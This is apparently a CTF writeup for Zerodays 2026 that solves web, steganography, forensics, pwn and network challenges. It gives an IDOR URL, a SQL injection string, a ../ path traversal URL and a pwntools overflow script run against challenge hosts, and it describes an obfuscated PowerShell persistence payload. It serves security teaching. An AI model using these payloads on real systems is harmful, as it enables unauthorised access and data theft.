Post

Zerodays CTF 2026: Writeup

Zerodays CTF 2026: Writeup

Zerodays is The Irish Colleges Cyber-Security Challenge, held every year at Croke Park in Dublin. Teams of four compete across web, forensics, crypto, pwn, stegano, and network categories. This year’s edition ran on March 22, 2026.

I played as en2eavor.


Tuff Pigeon (WarmUp)

Three web steps. Each one gives a token fragment; combine them to get the flag.

Tuff Pigeon challenge overview Tuff Pigeon challenge overview.

Step 1: IDOR. The URL passes ?user=guest. Swap it to admin:

1
https://tuffpigeon.zerodays.events/step1.php?user=admin

token1 = id0r!

Step 2: SQL injection. Enter u' OR 1=1;# in the username field. Authentication breaks and the second token comes back.

token2 = th4nks

Step 3: Path traversal. Need to read /opt/challenge/step3_token.txt. Chain ../ until you’re out of the web root:

1
https://tuffpigeon.zerodays.events/step3.php?file=../../../../../../../../opt/challenge/step3_token.txt

Path traversal result Path traversal result.

Submit all three parts:

Token submission Token submission.


They dont know (Stegano)

JPG file, so steghide is the natural first guess. I used stegseek with rockyou, it’s faster and handles empty passphrases automatically:

1
2
3
4
5
6
7
8
9
➜ stegseek chall.jpg
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: ""
[i] Original filename: "flag.txt".
[i] Extracting to "chall.jpg.out".

➜ cat chall.jpg.out
ZeroDays{st3gh1de_f0r-hid1ng_flagz!}

Empty passphrase. stegseek caught it in seconds.


One Does Not Simply (Stegano)

PNG file, so zsteg first:

1
2
➜ zsteg challenge.png
meta mxfile   .. text: "%3Cmxfile%20host%3D%22app.diagrams.net%22..."

The output is URL-encoded and long. I dropped it into CyberChef. After decoding, there’s a code block with a long Base64 string inside. Decode that too and you get an image with the flag on it.

1
https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)&oeol=VT

Shark Attack (WarmUp)

PCAP file. Open in Wireshark, follow the stream. The traffic shows someone downloading a file called baby.gif over FTP.

Following the FTP stream in Wireshark Following the FTP stream in Wireshark.

Export it via File → Export Objects → FTP-DATA:

Exporting FTP data objects Exporting FTP data objects.

The flag is on the image.


Nyan Logger (Forensics)

Windows Event Viewer file (.evtx). Open on Windows and filter for PowerShell event ID 4104 (ScriptBlock logging).

The script logged is a full persistence payload: hidden directory, Defender disabled, new local user added to a privileged group, scheduled task registered at logon. Everything obfuscated with XOR.

Focus on the password variable:

1
2
$pass = ConvertTo-SecureString $($k5517=192;$b=[byte[]](0x96,0xf2,0xf1,0x97,...);
    -join($b|%{[char]($_-bxor$k5517)})) -AsPlainText -Force

Key is 192. XOR each byte:

1
2
3
4
5
6
7
8
9
k = 192
b = [0x96,0xf2,0xf1,0x97,0xa5,0x97,0x89,0xb7,0x95,0xad,0xa8,0xac,
     0x97,0x85,0xf4,0xf3,0x95,0xac,0xa8,0x9a,0xa5,0xac,0x92,0xb5,
     0x95,0xad,0x9a,0x95,0x92,0x85,0x8a,0xb5,0x97,0xae,0xb0,0x87,
     0xa4,0x96,0xaf,0xb8,0x8f,0x88,0xa8,0x8e,0x92,0x85,0x9a,0xad,
     0x94,0xad,0xb0,0xab,0x8f,0x91,0xfd,0xfd]

print(''.join(chr(x ^ k) for x in b))
# V21WeWIwUmhlWE43UlhZelRuUmZUREJuWnpGdVoxOHhNREZmTmpkOQ==

That’s Base64 of Base64. Decode twice:

1
2
➜ echo -ne V21WeWIwUmhlWE43UlhZelRuUmZUREJuWnpGdVoxOHhNREZmTmpkOQ== | base64 -d | base64 -d
ZeroDays{Ev3Nt_L0gg1ng_101_67}

Trolling (Misc)

The file is named .png but opens as garbage. A hex editor shows it starts with the ASCII string "get trolled", a few junk bytes, then valid JPEG data from offset 0x14 onward.

Strip the fake header:

1
2
3
data = open('chall.png', 'rb').read()
jpeg_data = b'\xff\xd8' + data[0x14:]
open('fixed.jpg', 'wb').write(jpeg_data)

Repaired JPEG with the flag Repaired JPEG with the flag.

Flag’s on the image.


Pwn Training (Pwn)

signal(SIGSEGV, crash_win) is set at the top of main. A segfault normally kills the process, but here it calls crash_win(), which prints the flag. So all we need is a crash.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int overflow()
{
  char s[208]; // [rsp+0h] [rbp-D0h] BYREF

  puts("Coach: Remember your training.");
  puts("Coach: Just spam A's and hope for the best");
  gets(s);
  if (strchr(s, 65))
  {
    puts("Coach: Come on. That is skid stuff.");
    exit(0);
  }
  return puts("Coach: nice try, but you cant even crash this binary.");
}

strchr(s, 65) exits if it sees 'A' (ASCII 65) anywhere in the input, so no As. Fill with B instead. gets() has no length check, so overflowing past the 208-byte buffer and saved RBP is enough:

1
2
3
4
5
6
7
8
9
10
from pwn import *

binary = './chall'
elf = ELF(binary, checksec=False)
offset = 0xd0 + 8
payload = b'B' * (offset + 8)

target = remote('teatime.zerodays.events', 4244)
target.sendline(payload)
target.interactive()
1
2
3
4
5
[+] Opening connection to teatime.zerodays.events on port 4244: Done
Coach: Remember your training.
Coach: Just spam A's and hope for the best
Coach: nice try, but you cant even crash this binary.
ZeroDays{c0ngratz_y0u_ar3_n0t_a_pwN_sK1d}

ProGlovver (Network)

PCAP file. Following UDP and TCP streams turns up a DNS TXT record with something that looks like a flag. Doesn’t work. Troll flag.

DNS TXT troll flag DNS TXT troll flag.

Dig further and there’s suspicious traffic on port 1337:

Suspicious packets on port 1337 Suspicious packets on port 1337.

Each stream carries a piece of the real flag:

Stream 1 Stream 1.

Stream 2 Stream 2.

Stream 3 Stream 3.

Piece them together manually:

ZeroDays{T_C_P_0v3rl4p_1s_3v1l}


Schizo Steg (Stegano)

Two files: challenge.png and hint.png.

hint.png has exactly 16 colors, one per hex digit. Each pixel in challenge.png is one of those colors, and each color maps to a nibble (0-F):

NibbleColorRGB
0black(0, 0, 0)
1navy(0, 0, 128)
2olive(128, 128, 0)
3grey(128, 128, 128)
4maroon(128, 0, 0)
5magenta(170, 0, 170)
6orange(255, 128, 0)
7salmon(255, 128, 128)
8green(0, 128, 0)
9teal(0, 170, 170)
Alime(128, 255, 0)
Blight-green(128, 255, 128)
Cviolet(143, 0, 248)
Dlavender(128, 128, 255)
Elight-yellow(255, 255, 128)
Fwhite(255, 255, 255)

Read pixels left-to-right, top-to-bottom. Every two nibbles make one byte. Python to extract the hex string:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python3
import numpy as np
from PIL import Image

PALETTE = [
    (0,   0,   0),    (0,   0,   128),  (128, 128, 0),   (128, 128, 128),
    (128, 0,   0),    (170, 0,   170),  (255, 128, 0),   (255, 128, 128),
    (0,   128, 0),    (0,   170, 170),  (128, 255, 0),   (128, 255, 128),
    (143, 0,   248),  (128, 128, 255),  (255, 255, 128),  (255, 255, 255),
]

COLOR_TO_NIBBLE = {color: idx for idx, color in enumerate(PALETTE)}

img = Image.open("challenge.png").convert("RGB")
arr = np.array(img).reshape(-1, 3)

nibbles = [COLOR_TO_NIBBLE[tuple(px)] for px in arr]
hex_str = "".join(f"{n:x}" for n in nibbles)
print(hex_str)

Drop the result into CyberChef (From Hex):

CyberChef hex decode CyberChef hex decode.

Schizo Steg flag Schizo Steg flag.

This post is licensed under CC BY 4.0 by the author.